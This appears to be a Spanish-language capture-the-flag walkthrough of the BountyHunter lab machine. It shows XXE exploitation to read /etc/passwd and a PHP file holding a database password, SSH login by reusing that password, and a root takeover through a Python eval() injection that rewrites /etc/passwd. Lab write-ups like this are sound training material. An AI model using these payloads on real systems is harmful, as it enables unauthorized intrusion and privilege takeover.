BountyHunter
8 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.100
- Fecha: 24 / 07 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.11.100 -p 22,80
Nmap scan report for 10.10.11.100
Host is up (0.036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.17 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si accedemos a la página web en el puerto 80, veremos algo como lo siguiente:
Si vamos a “PORTAL”, nos lleva a la siguiente página
Y pinchando en “here”, vamos a un portal de desarrollo para generar una especie de reporte para bug bounty:
Si rellenamos el formulario y lo enviamos, el servidor responde con los mismos datos y los imprime en la página:
Podemos hacer uso de gobuster
para buscar rutas del servidor:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.100 -q
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status (Status: 403) [Size: 276]
Encontramos que hay archivos interesantes en la ruta /resources
(existe una vulnerabilidad de listado de directorios):
Aquí podemos leer algunas tareas del desarrollador, pero nada interesante de momento:
Sin embargo, hay un archivo interesante de JavaScript llamado bountylog.js
:
$ curl http://10.10.11.100/resources/bountylog.js
function returnSecret(data) {
return Promise.resolve(
$.ajax({
type: "POST",
data: { "data": data },
url: "tracker_diRbPr00f314.php"
})
);
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
} catch(error) {
console.log('Error:', error);
}
}
Estas funciones se ejecutan al enviar el formulario de antes. Se están enviando los datos como documento XML a tracker_diRbPr00f314.php
. Esto nos dice claramente que el vector de ataque es inyectar una Entidad Externa XML (XXE).
Acceso a la máquina
Si el servidor es vulnerable a XXE, entonces podemos leer archivos del servidor si conocemos la ruta completa del archivo en cuestión.
Explotando un XXE
Para explotar el XXE, se utiliza un script en Bash llamado xxe.sh
que automatiza el proceso y extrae el contenido deseado (explicación detallada aquí). La idea es leer archivos del servidor de la siguiente manera:
$ bash xxe.sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Para leer el contenido de los archivos PHP, podemos utilizar un wrapper para codificarlo en Base64 y decodificarlo después. Así, evitamos que aparezcan caracteres especiales de XML (como <
y >
).
Podemos probar algunas listas para explotar el LFI, pero ninguna es útil. Parace que tiene que haber información sensible en el código PHP, pero no hay nada interesante en los archivos que conocemos del servidor (index.php
, portal.php
, log_submit.php
y tracker_diRbPr00f314.php
, todos accesibles desde /var/www/html
).
Encontrando una contraseña
En este punto, podemos recordar que había tareas en el archivo README.txt
relacionadas con una base de datos. Después de algunas pruebas, se descubre que el archivo db.php
existe en el servidor.
Si no fuéramos capaces de adivinar el nombre del archivo, podemos probar muchas opciones con un bucle en Bash:
$ for f in $(cat $WORDLISTS/dirbuster/directory-list-2.3-medium.txt); do bash xxe.sh /var/www/html/$f.php | grep -v 'Nothing found' &>/dev/null && echo Found: /var/www/html/$f.php; done
Found: /var/www/html/index.php
Found: /var/www/html/portal.php
Found: /var/www/html/db.php
Y otra manera sería volver al comando de gobuster
y añadirle extensión PHP:
$ gobuster dir -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.100 -q -x php
/index.php (Status: 200) [Size: 25169]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/portal.php (Status: 200) [Size: 125]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php (Status: 200) [Size: 0]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status (Status: 403) [Size: 276]
Si utilizamos el script de Bash para leer el archivo db.php
, obtenemos una contraseña:
$ bash xxe.sh /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Esta contraseña se reutiliza para acceder por SSH como usuario development
. Sabemos que existe este usuario porque aparece listado en /etc/passwd
:
$ bash xxe.sh /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
Y ahora podemos conseguir la flag user.txt
:
$ ssh development@10.10.11.100
development@10.10.11.100's password:
development@bountyhunter:~$ cat user.txt
40b17284532347c9d5a94488e640f2b3
Enumeración del sistema
El usuario development
puede ejecutar un script de Python como root
con sudo
:
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Existe un archivo llamado contract.txt
en su directorio personal. Este archivo da un poco de contexto y aporta razones para tener sudo
habilitado para ejecutar el script de Python:
development@bountyhunter:~$ ls -a
. .bash_history .bashrc contract.txt .local .ssh .viminfo
.. .bash_logout .cache .lesshst .profile user.txt
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our
contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't
mess this up. Whenever one of you gets on please have a look at the
internal tool they sent over. There have been a handful of tickets
submitted that have been failing validation and I need you to figure
out why.
I set up the permissions for you to test this. Good luck.
-- John
El script de Python es el siguiente:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i, x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Escalada de privilegios
Hay un code smell en este script, que es el uso de la función eval()
, la cual es una función insegura y no se recomienda utilizar. Con esta función, podemos conseguir ejecución de código arbitrario como root
(porque tenemos permisos con sudo
) mediante una inyección de comandos en lenguaje Python.
En esta situación, hay muchas alternativas para ganar acceso como root
. Esta vez, modificaremos la contraseña de root
en el archivo /etc/passwd
. Por ejemplo, podemos utilizar la siguiente contraseña y encriptarla con openssl
(formato DES Unix):
$ openssl passwd rocky
JyHhfPjiAYUB2
Podemos hacer uso de la función open()
de Python para leer archivos y escribir en ellos como root
. La idea es meter la contraseña en /etc/passwd
para el usuario root
, como sigue:
- root:x:0:0:root:/root:/bin/bash
+ root:JyHhfPjiAYUB2:0:0:root:/root:/bin/bash
Mirando el código, el programa está leyendo un archivo MarkDown (ticket) y haciendo una serie de validaciones. La primera es:
for i, x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
Entonces, la primera línea del archivo tiene que ser # Skytrain Inc
. Y aquí hay otra validación:
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
El programa espera una segunda línea específica, por lo que el archivo tiene que tener ## Ticket to
como segunda línea.
Y después, para poder introducir código de Python, necesitamos otra línea, porque hay otra validación más:
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
Como se puede ver, otra línea que hay que poner es __Ticket Code:__
.
Y finalmente, la variable ticketCode
tiene que ser un número que tenga resto 4
al ser dividido entre 7
(por ejemplo: 4
, 11
, 18
o -3
). Este ticketCode
tiene que continuar con un signo +
y después el código que irá directo a la función eval()
.
Ahora tenemos que crear el archivo ticket.md
válido para ejecutar el código con la función eval()
. Una opción posible es:
# Skytrain Inc
## Ticket to 7Rocky
__Ticket Code:__
**4+open('/etc/passwd', 'w').write('root:JyHhfPjiAYUB2' + open('/tmp/passwd').read()[6:])**
El código de Python inyectado es:
open('/etc/passwd', 'w').write('root:JyHhfPjiAYUB2' + open('/tmp/passwd').read()[6:])
Para que funcione, tenemos que guardar una copia de /etc/passwd
en /tmp/passwd
. El uso de [6:]
es para obtener todo el contenido de /tmp/passwd
a excepción de los 6 primeros caracteres, que corresponden exactamente a root:x
.
development@bountyhunter:~$ cp /etc/passwd /tmp/passwd
development@bountyhunter:~$ head -1 /tmp/passwd
root:x:0:0:root:/root:/bin/bash
development@bountyhunter:~$ head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
Ahora ejecutamos el script y especificamos el archivo ticket.md
donde está guardado. Como se puede ver, la contraseña de root
ha cambiado:
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
ticket.md
Destination: 7Rocky
Valid ticket.
development@bountyhunter:~$ head -1 /etc/passwd
root:JyHhfPjiAYUB2:0:0:root:/root:/bin/bash
Y ahora podemos acceder como root
porque tenemos la contraseña:
development@bountyhunter:~$ su root
Password:
root@bountyhunter:/home/development# cat /root/root.txt
5d5a6aae768dd80352e1cefa556aac3f